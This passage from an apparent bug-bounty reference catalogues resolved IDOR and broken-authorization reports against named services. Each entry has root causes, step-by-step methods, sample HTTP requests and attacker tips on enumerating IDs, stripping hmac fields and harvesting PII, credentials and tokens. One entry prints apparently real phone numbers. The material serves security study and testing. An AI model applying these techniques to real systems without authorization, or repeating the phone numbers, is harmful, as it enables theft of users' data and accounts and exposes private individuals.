Insight — Document/report/receipt download endpoints are classic IDOR sinks. Always decode opaque-looking identifiers (hex, base32/64, ROT) — 'encoded' is not 'authorized'. If the value is sequential after decoding, enumerate for other users' PII/financial docs.
Real-world example
Private object returned by feed/timeline API regardless of privacy state
◆ Low
Specimen #2258950 · automattic · awarded · 37 votes · resolved
Program automatticSurface apiTag account-takeover
Root cause
The timeline/feed retrieval endpoint fetches a post by its ID and returns its content without re-checking the object's current visibility/privacy flag, so a post flipped to private is still served if the caller has (or guesses) the ID.
Method
- Obtain a post/object ID (e.g. from a push notification referencing it)
- Have the object set to private after you learned the ID
- Request it through the timeline/feed API (the notification-open flow)
- Observe the private content is returned though marked 'private'
Insight — Detached retrieval paths (feed hydration, push-notification deep-links, 'from your favs' banners) often skip the object-level privacy check that the normal UI path enforces. Grab an object ID via one channel and re-fetch it via another to test for missing per-object authz.
Real-world example
Dangling object reference after moving a report between programs
◆ Low
Specimen #511779 · security · none · 15 votes · resolved
Program securitySurface web
Root cause
When a report is moved to another program, associated objects are removed or re-copied, but Custom Field Values were not, leaving the moved report referencing values that belong to the original program - a cross-tenant dangling reference that can leak or be mutated later.
Method
- Submit a report to a program where you can move reports out.
- Move it to a second program you control.
- Verify the report still references Custom Field Values from the original program.
Insight — Object-move/transfer flows are a rich IDOR surface: check that EVERY associated child object is re-scoped or dropped. A single unmigrated relationship becomes a persistent cross-tenant reference that leaks confidential values or lets later edits cross the boundary.
Real-world example
UUID-to-email IDOR via a support/ticket parameter
◆ Info
Specimen #127158 · uber · awarded · 82 votes · resolved
Program uberSurface web
Root cause
Passing a user's UUID as the token parameter of POST /support/tickets caused the endpoint to resolve and return that user's private email, mapping a non-secret identifier to PII.
Method
- Obtain a target user's UUID (often exposed in URLs, referrals, or API responses)
- POST to /support/tickets with the UUID placed in the token parameter
- Read the target's email from the response
POST /support/tickets
token=<TARGET_USER_UUID> # response resolves UUID -> private email
Insight — UUIDs/GUIDs are identifiers, not secrets - test feeding a known UUID into every parameter (token, id, ref, user) across endpoints; support/help/ticket endpoints often resolve an id back to PII (email/phone) without authorization.
Real-world example
IDOR on datasource_id exposes every tenant's DB credentials
◆ Info
Specimen #149907 · bime · awarded · 56 votes · resolved
Program bimeSurface apiChain IDOR write -> read datasources.json -> backend DB cred
Root cause
A model/import endpoint accepts a caller-supplied datasource_id with no ownership check; re-pointing it to another tenant's ID then reading /datasources.json returns that datasource's connection details (host, login, password).
Method
- As a normal user, create a data source and capture the POST /cube_models.json request.
- Replay it changing datasource_id to a victim's ID (no need to know its type).
- GET /datasources.json and read the now-attached victim datasource: external_id/host, login, pwd.
POST /cube_models.json (change "datasource_id":<VICTIM_ID>, replay)
GET /datasources.json -> {"login":"bot","pwd":"<VICTIM_DB_PASSWORD>","final_type":"postgresql",...}
Insight — When a 'configure/import/attach' endpoint takes an object ID, test cross-tenant IDs, then read whichever GET endpoint reflects the attached object. Write-then-read IDOR chains leak far more (raw DB credentials) than the write action itself implies.
Real-world example
Actor-id in body lets attacker perform approvals as cross-org users
◆ Info
Specimen #725569 · automattic · awarded · 51 votes · resolved
Program automatticSurface api
Root cause
An approval endpoint takes responder_user_id from the request body instead of deriving the acting user from the session, so changing it approves/declines requests on behalf of arbitrary users, even across organizations.
Method
- Create two accounts in different orgs; submit an AFK request
- Approve/decline it and capture the request
- Replace responder_user_id with a user ID from the other org
- A valid response confirms the action was taken as that other user
POST /wpcom/v2/happytools/external/v1/schedule/afk-requests/12346 HTTP/1.1
Content-Type: application/json
{...,"approval_status":2,"responder_user_id":<OTHER_ORG_USER_ID>,"user_id":1920}
Insight — Whenever a request body carries the *actor's* identity (responder_user_id, approver_id, acting_as, on_behalf_of), it is an IDOR: the acting principal must come from the session, never the payload. Cross-tenant success shows there is no org-boundary check either.
Real-world example
Sequential-ID IDOR on API object leaks other users' data (+ Firebase tokens)
◆ Info
Specimen #144000 · instacart · USD 100 · 35 votes · resolved
Program instacartSurface apiChain IDOR data read -> exposed Firebase references for furtherTag account-takeover
Root cause
A mobile-API endpoint keyed by a numeric object ID performs no ownership check, so incrementing/altering the ID returns any user's records; the same technique applies to editable resources exposed via predictable URLs.
Method
- Proxy the mobile app and find an object-scoped request (GET /api/v2/order_deliveries/<id>/order_change_logs)
- Change <id> to another (nearby) value
- Receive another user's chat logs / order data regardless of ownership
- Pivot on any secondary secrets returned (e.g. Firebase paths/tokens)
GET /api/v2/order_deliveries/261972220/order_change_logs HTTP/1.1
Host: www.instacart.com
Insight — Any numeric/predictable object ID in an API path is an IDOR candidate: A-B test with a second account. Also for URL-addressable edit views (e.g. /forum/.../posts/<id>/edit) just swap the ID. Always inspect the JSON body for extra secrets (Firebase refs, tokens) to chain further.
Real-world example
Retrieve any organization + user info by swapping userUuid
◆ Info
Specimen #151465 · uber · 3000 · 26 votes · resolved
Program uberSurface web
Root cause
An employees/organization endpoint returned org and personal data keyed on a client-supplied userUuid without authorizing that the requester owned or belonged to that user/org.
Method
- POST to /server/employees with your own userUuid to learn the response shape
- Replace userUuid with another user's UUID
- Read back their organization membership and personal info
POST /server/employees HTTP/1.1
Host: business.uber.com
...
{"userUuid":"<VICTIM_UUID>"}
Insight — UUIDs are not an authorization control - an object reference is still IDOR even when it's a 128-bit GUID. Any endpoint that echoes org/user data from a request-supplied id needs an ownership check; test it with a second account's identifier.
Real-world example
Cross-tenant object access: own session id + foreign object gid, drop the hmac
◆ Info
Specimen #884159 · shopify · awarded · 26 votes · resolved
Program shopifySurface graphqlTag graphql
Root cause
The shipping-label service authorizes by a sessionId that is not bound to the object's owning store; supplying the attacker's own session id together with another store's ShippingLabel gid (and removing the request's hmac integrity field) purchases/generates labels on the victim store.
Method
- From your own store, capture the PurchaseShippingLabels GraphQL request and the ShippingLabel gid
- Create a fresh session on your own store via /session/authentication and take the returned id
- Replay the purchase request using YOUR sessionId (query param + cookie) but the OTHER store's ShippingLabel gid
- Remove the hmac field from the payload -> label is generated on the foreign store's order
POST /graphql/labels?sessionId=<ATTACKER_SESSION_ID> HTTP/1.1
Host: mailbox.shopifycloud.com
Content-Type: application/json
Origin: https://<attacker-shop>.myshopify.com
{"query":"mutation PurchaseShippingLabels(...)","variables":{"shippingLabelPurchaseRequests":[{"shippingLabelId":"gid://shopify/ShippingLabel/<VICTIM_STORE_LABEL_ID>", /* hmac removed */ ...}]}}
Insight — On multi-tenant services check whether the session/tenant scope is actually tied to the object id in the request. Also try deleting integrity fields (hmac/signature) - if the server still processes the request, the signature wasn't verified server-side.
Real-world example
Public API returns PII keyed by phone number
◆ Info
Specimen #1541660 · mtn_group · none · 25 votes · resolved
Program mtn_groupSurface apiTag apiTag cors
Root cause
A public ('pub') endpoint returned name/customerType/profile image for any subscriber given only their phone number, with no auth and a wildcard CORS ACAO:*.
Method
- Intercept a self-lookup request (get-bio-data/<mynumber>)
- Swap in arbitrary phone numbers
- Read returned firstname/lastname/customerType/profileImg
GET /vtu-service/api/pwa/pub/get-bio-data/08XXXXXXXXX
-> {"firstname":..,"lastname":..,"customerType":..,"profileImg":..}
Insight — Endpoints under /pub/ or /public/ that take a phone/email/account id are prime unauth-PII enumerators; also check the ACAO header for wildcard read.
Real-world example
UUID-based IDOR on driver waybill endpoint
◆ Info
Specimen #127087 · uber · awarded · 24 votes · resolved
Program uberSurface apiTag api
Root cause
The /rt/drivers/<UUID>/waybill endpoint returned any driver's waybill given their UUID, with no ownership check.
Method
- Obtain a driver/partner UUID (leaked in app responses/other endpoints)
- Request the waybill endpoint with that UUID
- Read the arbitrary driver's waybill
GET /rt/drivers/<DRIVER_PARTNER_UUID>/waybill
Insight — UUIDs are not access control; if you can source a target's UUID from another endpoint, replay it against per-object routes.
Real-world example
Unpublished listing readable via direct API endpoint
◆ Info
Specimen #172545 · reverb · awarded · 22 votes · resolved
Program reverbSurface api
Root cause
The web UI blocks viewing unpublished/draft listings, but the underlying API endpoint returns full details for any listing ID with no ownership/state check.
Method
- While creating your own listing, note the API call /api/listings/<yourID>/product_bundle
- Replace <yourID> with a victim's unpublished listing ID
- Receive full draft listing JSON despite UI redirecting non-owners
GET /api/listings/65905/product_bundle (65905 = someone else's unpublished draft)
Insight — UI-level access control is not enforcement. When the web app hides/blocks a resource, replay the raw API call it uses with another object's ID; authorization is frequently missing at the API layer even when the HTML flow enforces it.
Real-world example
IDOR on org activation endpoint steals API token
◆ Info
Specimen #95552 · x · awarded · 17 votes · resolved
Program xSurface apiTag account-takeover
Root cause
The mopub activate endpoint does not verify the caller owns the organization id in the path, so replaying it with another org's id returns that org's mopub token and api_key.
Method
- Create two accounts, note both organization ids
- From account A, POST the activate request but with account B's organization id
- Response returns B's mopub token / api_key / build_secret
POST /api/v3/organizations/<VICTIM_ORG_ID>/mopub/activate HTTP/1.1
X-CRASHLYTICS-DEVELOPER-TOKEN: <token>
company_name=x&...&link=false
Insight — Any endpoint that returns secrets keyed by an object id in the path is an IDOR candidate; A/B-test with a second tenant's id.
Real-world example
Sequential gift ids expose PII and redeem others' gifts
◆ Info
Specimen #119166 · udemy · awarded · 16 votes · resolved
Program udemySurface webTag account-takeover
Root cause
The /gift/share endpoint uses predictable sequential numeric ids (step of 2) with no ownership check, exposing recipient name/email and redemption code and allowing redemption of others' gifts.
Method
- From your own gift share URL, increment/decrement giftId by 2
- Read leaked recipient name, email and coupon/redeem code
- Apply couponCode at checkout to redeem the gift to your own account
https://www.udemy.com/gift/share/?giftId=<n+2>
Insight — Predictable object ids + unauthenticated read = IDOR; test small increments, and check whether the leaked artifact (coupon/code) is itself directly usable.
Real-world example
IDOR on organization trips + error-message valid-ID oracle
◆ Info
Specimen #151470 · uber · USD 2000 · 10 votes · resolved
Program uberSurface apiTag account-takeover
Root cause
The Uber-for-Business trips endpoint returns another organization's trip data when the organization id in the path is swapped, with no authorization check tying the requester to that org. Invalid ids return a distinct internal validation error, giving a valid/invalid oracle for enumeration.
Method
- Call GET /server/organizations/<your_org_id>/trips2?...&count=true
- Swap in a victim organization id
- Valid id -> trip data; invalid id -> internal error (must_be_a_valid_uuid_v4 / TchannelUnexpectedError)
- Harvest org ids from a sibling endpoint (#151465) or enumerate
GET https://business.uber.com/server/organizations/<ORG_ID>/trips2?per_page=15&requestAtStart=&requestAtStop=&count=true
Insight — Object-scoped endpoints (/organizations/<id>/..., /accounts/<id>/...) are prime BOLA targets — swap the tenant id and check for data. Even when protected, differential error responses (validation vs 403 vs 200) leak which ids exist; pair the oracle with an id source to enumerate at scale.
Real-world example
Deleted DMs still readable by id via show endpoint (soft-delete not enforced)
◆ Info
Specimen #52646 · x · awarded · 10 votes · resolved
Program xSurface apiTag account-takeover
Root cause
Direct messages are soft-deleted from the UI but remain retrievable by their id through direct_messages/show.json. The read endpoint does not check deletion state, so a party (or a third-party app holding a token) can read messages both users believe are gone.
Method
- From account A, DM account B and note the DM id
- GET https://api.twitter.com/1.1/direct_messages/show.json?id=<DM-id>
- Delete the DM from both accounts
- Repeat the show.json call by id — the deleted DM is still returned
https://api.twitter.com/1.1/direct_messages/show.json?id=<DM_ID>
Insight — 'Delete' in the UI often only hides a row. Test every delete flow by recording the object id beforehand and re-fetching it via the direct show/get endpoint (and via any API/third-party token) after deletion. Persistence of the object is an access-control/privacy bug, amplified when third-party app tokens retain read scope.
Real-world example
Private membership enumeration via import/copy feature
◆ Info
Specimen #128051 · gitlab · none · 10 votes · resolved
Program gitlabSurface webTag account-takeover
Root cause
The 'import project members' action loads the source project by id without verifying the caller can access it, copying a private project's members (and public emails) into the attacker's own project.
Method
- Create a project you own
- Trigger Import Members and set source_project_id to a private project's id
- Read the imported member list to enumerate who has access (+ public emails)
POST /namespace/project/import
source_project_id=<private_project_id>
Insight — 'Import/copy from X' features are classic IDOR sinks: they fetch a source object by id and reflect its contents without an access check on the source. Point them at private object ids to exfiltrate membership/config.
Real-world example
Cross-project data leak via unvalidated label_id on board list creation
◆ Info
Specimen #162147 · gitlab · none · 10 votes · resolved
Program gitlabSurface webTag account-takeover
Root cause
Boards::Lists::CreateService creates a list from a user-supplied label_id without checking the label belongs to the caller's project, so the response echoes a private project's label title/description.
Method
- Create a list on your own board and capture the POST /.../board/lists request
- Change label_id to an id from a private project
- Read the response / refreshed board - it contains the foreign label's title and description
POST /you/test/board/lists
{"list":{"label_id":<private_label_id>}}
-> {... "label":{"title":"super secret title","description":...}}
Insight — Object-creation endpoints that accept a foreign-key id and echo the linked object back are read-IDOR primitives. Fuzz every *_id parameter with ids you don't own and diff the response for leaked attributes.
Real-world example
IDOR on participant-removal endpoint spams platform notifications
◆ Info
Specimen #46397 · security · awarded · 8 votes · resolved
Program securitySurface api
Root cause
DELETE /reports/<id>/external_users/<user_id> does not verify that <user_id> is actually a participant of the report, so any user_id can be submitted and generates a legitimate 'you were removed' notification email from the platform.
Method
- Add an external participant, capture the DELETE request
- Change <user_id> to an arbitrary/never-invited user id
- Server sends a removal-notification email to that user; iterate to mass-spam
DELETE /reports/<report_id>/external_users/<ANY_USER_ID> HTTP/1.1
X-CSRF-Token: <token>
X-Requested-With: XMLHttpRequest
Insight — Object-action endpoints that trigger side effects (emails, notifications) are IDOR sinks even when they return nothing sensitive: the impact is authentic-looking messaging from the trusted platform. Always fuzz the object id even for 'boring' delete/notify actions.
Real-world example
Avatar upload IDOR via attacker-controlled target id
◆ Info
Specimen #43617 · vimeo · awarded · 8 votes · resolved
Program vimeoSurface webTag file-upload
Root cause
The profile-picture upload endpoint takes the target profile id from a request parameter and never checks it matches the logged-in user; with incremental ids and no rate limit, an attacker can set any/every account's avatar.
Method
- Start an avatar upload, intercept the request to /upload/_get_image_url
- Change the 'id' POST parameter to another (incremental) profile id
- Forward -> the image is attached to the victim's profile
POST /upload/_get_image_url
id=<VICTIM_PROFILE_ID>&... # change from own id
Insight — Whenever an upload/update request carries an owner/target id, tamper it. Incremental ids + no rate limit make it a mass write primitive. Same pattern applies to any 'set X on object id' action.
Real-world example
Sequential-ID tampering leaks other tenants' canned-response titles
◆ Info
Specimen #31383 · security · awarded · 8 votes · resolved
Program securitySurface web
Root cause
When creating a trigger, the JSON field common_response_id references a canned response by sequential ID with no ownership check, so setting it to another team's ID reflects that team's private response title back in the created trigger.
Method
- Start creating a trigger with any canned response selected
- Intercept the save request and change common_response_id to a low/other integer (e.g. 24, 18)
- The resulting trigger displays the title of another team's canned response
{"title":"hackerone","criteria":[{"field":"any","type":"inclusion","inverse":false,"data":"x"}],"actions":[{"type":"request-needs-more-info","common_response_id":24}],"disabled":false}
Insight — Any object referenced by sequential ID inside a create/update payload is an IDOR candidate - fuzz numeric reference fields (common_response_id, template_id, *_id) with values you don't own and watch for other tenants' data surfacing in the response/echo.
Real-world example
Attach cross-tenant object IDs to your own resource to reflect private data back
◆ Info
Specimen #132777 · gitlab · none · 7 votes · resolved
Program gitlabSurface web
Root cause
When creating an issue, GitLab accepted arbitrary label_ids[] values and rendered the resolved label back on the issue without verifying the caller could access the label's (private) project - an IDOR that discloses private label names/descriptions.
Method
- As attacker create your own project + a new issue.
- Intercept the create-issue POST and append a guessed/incremented label ID from a private project to issue[label_ids][].
- Submit; the private project's label name (and any secret in it) renders on your issue. Iterate IDs to enumerate all labels.
POST /john/random-project/issues HTTP/1.1
Host: TARGET
utf8=%E2%9C%93&authenticity_token=...&issue%5Btitle%5D=a&issue%5Bdescription%5D=a&issue%5Blabel_ids%5D%5B%5D=1
Insight — Any 'associate by ID' feature (labels, tags, milestones, assignees, attachments) is an IDOR oracle: submit an object ID you shouldn't own and see if its details render back on your resource. Server-side authorization frequently checks the parent object but not each referenced child ID.
Real-world example
Private child objects listed in a parent collection endpoint despite visibility flag
◆ Info
Specimen #134305 · gitlab · none · 7 votes · resolved
Program gitlabSurface api
Root cause
The /projects/:id/snippets API returned private snippets belonging to a public/internal project; the raw endpoint then returned their full contents, ignoring the snippet-level private flag.
Method
- Find a public/internal project ID that has snippets enabled.
- List its snippets via the API - private snippet titles are included.
- Fetch each snippet's raw content by ID.
curl --header "PRIVATE-TOKEN: XXXX" "http://TARGET/api/v3/projects/1/snippets"
curl --header "PRIVATE-TOKEN: XXXX" "http://TARGET/api/v3/projects/1/snippets/6/raw"
Insight — When an object has both a parent-level and child-level visibility setting, test the parent's collection endpoint - it often enumerates children while only honoring the parent ACL. Snippets/gists commonly hold API tokens and credentials, upgrading a 'names only' leak into secret disclosure.
Real-world example
Soft-deleted content still reachable via an alternate (edit) route with incremental IDs
◆ Info
Specimen #135756 · shopify · awarded · 7 votes · resolved
Program shopifySurface web
Root cause
Deleted app reviews were only hidden from listing pages; the edit route still rendered them, and review IDs were sequential, so all deleted reviews of any app could be harvested.
Method
- Take a resource that was deleted/hidden from its normal view.
- Access it through a secondary route (/reviews/<id>/edit, /view, /print, .json).
- Iterate the sequential ID to dump all soft-deleted records.
https://apps.shopify.com/<app>/reviews/<review-id>/edit
# e.g. deleted review 47935:
https://apps.shopify.com/swell/reviews/47935/edit
Insight — 'Deleted' rarely means gone - soft-delete flags are frequently enforced only on the primary listing. Try edit/print/export/API variants of the object URL, and exploit sequential IDs to enumerate the full deleted set.
Real-world example
Private channel content access via enumerable badge_channel param
◆ Info
Specimen #45960 · vimeo · awarded · 5 votes · resolved
Program vimeoSurface web
Root cause
The embed/widget 'montage' endpoint renders channel videos from a badge_channel id without re-checking channel privacy, so any channel id (including private channels) can be supplied to view its videos.
Method
- Open a legitimate widget config request (e.g. /tools/widget/montage) and capture the badge_channel parameter
- Swap badge_channel to a target private channel id
- Load the widget URL directly; private videos render; enumerate badge_channel for others
https://vimeo.com/tools/widget/montage?widget=1&preview=1&user_id=ID&badge_stream=channel&badge_channel=870575&badge_album=ID&badge_layout=horizontal&badge_quantity=6&show_titles=no&badge_size=80
Insight — Embed/widget/oEmbed/'preview' endpoints are a classic authorization blind spot — they often skip the privacy checks the main app enforces. Always test private-object ids through the widget/embed surface, not just the primary UI route.
Real-world example
IDOR in notification-recipient parameter enumerates users' PII
◆ Info
Specimen #56936 · shopify · awarded · 4 votes · resolved
Program shopifySurface webTag account-takeover
Root cause
Creating an order notification for a staff member accepted an arbitrary user ID in order_subscription_type; supplying another user's ID added them as a recipient and reflected back their first/last name and email.
Method
- Create a new order notification for a staff member and capture the POST
- Change order_subscription[order_subscription_type]=user-<victim_id>
- Reload notifications: a valid ID renders the victim's name and email; invalid IDs behave differently (oracle)
POST /admin/order_subscriptions HTTP/1.1
...
order_subscription%5Border_subscription_type%5D=user-7837569&order_subscription%5Blocation_id%5D=&_method=post
Insight — Recipient/assignee ID fields are prime IDOR sinks that leak PII; enumerate them and use the valid/invalid response difference as an existence oracle.
Real-world example
PII enumeration via incremental subscription ID
◆ Info
Specimen #47362 · mobilevikings · none · 3 votes · resolved
Program mobilevikingsSurface webChain Enumeration also enabled forcing payment on any number as reTag account-takeover
Root cause
A topup endpoint reflected sensitive account data (phone numbers) keyed by an incremental subscription parameter with no ownership check, allowing full enumeration.
Method
- Submit the topup add request with a subscription ID
- Observe the returned/redirected page exposes the phone number for that subscription
- Iterate the subscription parameter to harvest all numbers
POST /en/sims/topup/add/
csrfmiddlewaretoken=...&subscription=1036392&plan=...&method=bitpay
# subscription=1036392 -> +32495121215 ; 1036390 -> +32475247663 ...
Insight — Any numeric/sequential ID on a topup/order/payment endpoint is an enumeration oracle. Also test whether the flow lets you force a payment with an arbitrary recipient (payment spoofing).
Real-world example
Cross-tenant member deletion via object-id + tenant-id swap in DELETE
◆ Info
Specimen #43065 · x · USD 1120 · 3 votes · resolved
Program xSurface apiChain cross-tenant member delete → delete sole owner → app permane
Root cause
The delete-member endpoint authorizes on the caller being an admin somewhere, not on ownership of the target app; swapping account_id and app_id lets an admin of one app delete members (including the sole owner) of an app they have no access to.
Method
- As admin of your own app, capture the DELETE member request (contains account id + app_id)
- Substitute the victim app's app_id and a victim member's account id; remove the admin=true marker
- Send it; the victim member is removed. Deleting the sole owner locks the app (DoS) since single-user apps can't be left/reset
DELETE /accounts/VICTIM_ACCOUNT_ID?app_id=VICTIM_APP_ID HTTP/1.1
Host: fabric.io
Insight — IDOR on multi-tenant admin actions: the server checks 'are you an admin' but not 'an admin of THIS resource'. Always test destructive endpoints by swapping both the object id and the tenant/parent id from a tenant you control. App/account ids are recoverable via invite responses + brute force.
Real-world example
Cross-project write by swapping project id in create/delete request
◆ Info
Specimen #8102 · localize · none · 3 votes · resolved
Program localizeSurface web
Root cause
Group create/delete actions authorize on the caller owning some project but take the target project id from the request path/body without verifying ownership of THAT project, so changing the id performs the action on another user's (even read-only public) project.
Method
- Perform the action (create/delete group) on your own project and intercept the request
- Replace the project id (path segment) with the victim's project id; for delete, guess the sequential deleteGroup[id]
- Send it; the group is created/deleted in the victim's project
POST /pages/create_project/8h HTTP/1.1
Host: www.localize.io
Content-Type: application/x-www-form-urlencoded
CSRFToken=VALID&addGroup%5Bname%5D=Test
# delete variant:
... &deleteGroup%5Bid%5D=95
Insight — When an action is scoped by a resource id in the URL/body, always swap that id to a resource you don't own. Ownership is frequently checked on 'do you have any project' rather than 'do you own this project'. Sequential child ids (group ids) are also guessable for enumeration.